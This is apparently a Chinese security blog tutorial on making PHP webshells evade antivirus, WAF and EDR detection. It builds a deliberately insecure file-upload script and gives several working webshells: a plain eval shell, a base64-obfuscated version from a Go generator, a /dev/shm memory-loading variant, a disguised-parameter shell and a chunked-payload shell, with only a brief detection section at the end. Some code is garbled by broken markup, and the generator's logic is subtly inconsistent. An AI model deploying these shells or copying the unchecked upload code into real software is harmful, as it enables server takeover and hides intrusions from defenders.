一、漏洞背后的攻击机遇

现代Web应用广泛使用动态语言生成内容，例如PHP、ASP.NET、Python等，这些语言的灵活性带来了巨大的开发便利，但也为攻击者提供了利用的空间。在目标服务的文件上传功能中，若缺少严格的安全校验，攻击者往往可以上传恶意脚本文件，也就是经典的Webshell。通过Webshell，攻击者能直接操作服务器权限，执行系统命令，甚至进一步横向渗透。

然而，随着安全检测技术的发展，传统的Webshell特征已经被各种防病毒软件和WAF（Web应用防火墙）广泛识别。为了规避检测，攻击者必须对Webshell进行免杀处理，包括代码混淆、特征规避、内存加载等技术。今天我们将深挖Webshell免杀技术的细节，揭示如何让攻击脚本隐匿于目标环境。

---

黑客示意图

二、「狩猎场」：搭建实战环境

为了更好地演示免杀技术，我们需要搭建一个真实的攻击环境。以下是本次实验的场景：

环境介绍

  • 目标系统：Ubuntu 20.04，安装Apache2 + PHP 7.4
  • 漏洞点：文件上传功能未校验文件类型和内容
  • 攻击工具：Go语言编写的免杀Payload生成器、Shell脚本用于辅助操作

环境搭建步骤

  1. 安装Apache和PHP环境

    2. 在目标系统中安装Apache和PHP。 <pre><code class="language-bash"> sudo apt update sudo apt install apache2 php libapache2-mod-php -y `

  1. 配置文件上传漏洞

    2. 在Apache的Web目录下部署一个简单PHP文件模拟上传功能： `php &lt;?php if (isset($_FILES[&#039;file&#039;])) { move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], &#039;uploads/&#039; . $_FILES[&#039;file&#039;][&#039;name&#039;]); echo &quot;File uploaded successfully!&quot;; } ?&gt; ` 将上述代码保存为upload.php并放置在/var/www/html/目录下。

  1. 开放上传目录权限

    2. `bash sudo chmod 777 /var/www/html/uploads `

至此，我们的目标环境已经准备就绪，接下来将开始实战。

---

三、Payload构造的艺术：免杀Webshell编写

传统Webshell的典型特征往往包括：

  • 明显的关键函数标识，例如eval()、shell_exec()。
  • 可疑的字符或语义结构，例如base64解码。

我们需要对这些特征进行规避，使Webshell在上传后能够绕过安全检查。

黑客示意图

编写基础Webshell

首先我们来看一个基础PHP Webshell：</code></pre>php <?php eval($_POST['cmd']); ?> <pre><code>这段代码非常基础，但几乎会被所有检测工具直接识别。我们可以通过以下几种技术对其进行免杀优化。

Webshell混淆与动态加载

这里我们使用Go编写一个免杀Payload生成器，动态生成混淆后的Webshell代码：</code></pre>go package main

import ( "encoding/base64" "fmt" )

func main() { payload := "<?php eval(base64_decode($_POST['cmd'])); ?>"

// 将Webshell代码进行Base64编码 encodedPayload := base64.StdEncoding.EncodeToString([]byte(payload))

// 生成最终的免杀Webshell代码 phpCode := fmt.Sprintf("<?php eval(base64_decode('%s')); ?>", encodedPayload)

黑客示意图

fmt.Println("Generated Webshell:") fmt.Println(phpCode) } <pre><code> 运行上述代码生成免杀后的Webshell：</code></pre>bash go run payload_generator.go <pre><code>输出结果类似：</code></pre>php <?php eval(base64_decode('PD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY21kJ10pKTs/Pg==')); ?> <pre><code> 这种方式通过双层混淆（Base64 + 动态加载）大幅提高了免杀性。

内存加载技术

进一步优化，我们可以让Webshell代码不直接写入磁盘，而是加载到内存中执行。以下是一个改进版本：</code></pre>php <?php $code = base64_decode($_POST['cmd']); file_put_contents('/dev/shm/tmp.php', $code); include('/dev/shm/tmp.php'); unlink('/dev/shm/tmp.php'); ?> <pre><code>上述代码会将恶意代码临时写入内存文件系统（/dev/shm），在执行后立即删除。这种方式可以减少被文件扫描特征识别的可能性。

---

四、绕过检测：规避EDR与WAF

即使我们的Webshell已经经过混淆优化，现代的WAF和EDR仍然会从网络流量和执行行为上进行检测。以下是几种进一步的绕过技巧：

流量伪装

将Webshell的通信数据伪装成正常HTTP流量。例如：</code></pre>php <?php $cmd = $_POST['action']; // 使用更隐匿的参数名 if ($cmd == 'ping') { echo 'pong!'; } else { eval(base64_decode($cmd)); } ?> <pre><code>

分片加载

将Webshell代码分片执行，减少一次性加载完整代码的风险。例如：</code></pre>php <?php $code = ''; foreach ($_POST['parts'] as $part) { $code .= $part; } eval(base64_decode($code)); ?> ` 攻击者可以通过分片提交的方式动态组合完整的代码。

---

五、攻防博弈：如何检测免杀Webshell？

在攻防实践中，以下方法对免杀Webshell有一定检测效果：

黑客示意图

动态行为分析

通过沙盒环境运行上传的文件，监测是否存在动态加载、执行系统命令等可疑行为。

流量特征挖掘

监控HTTP流量中是否出现Base64编码、可疑参数值等特征。

文件系统扫描

定期扫描内存文件系统（如/dev/shm），识别是否存在短时间存活的可疑文件。

---

六、个人经验分享：免杀并非万能

在实践过程中，我发现免杀Webshell虽然能绕过一些基础防护，但在面对高级检测设备时仍然有暴露风险。攻击者需要结合场景选择合适的免杀策略，同时利用流量伪装和动态加载增强隐匿性。

此外，在真实红队测试中，Webshell免杀只是手段之一，目标往往是获取持久权限或进入内网。在攻击链的后续环节中，如何隐藏C2通信和持久化载荷的痕迹也是关键。

声明：本文技术仅供授权测试使用，请勿用于非法目的。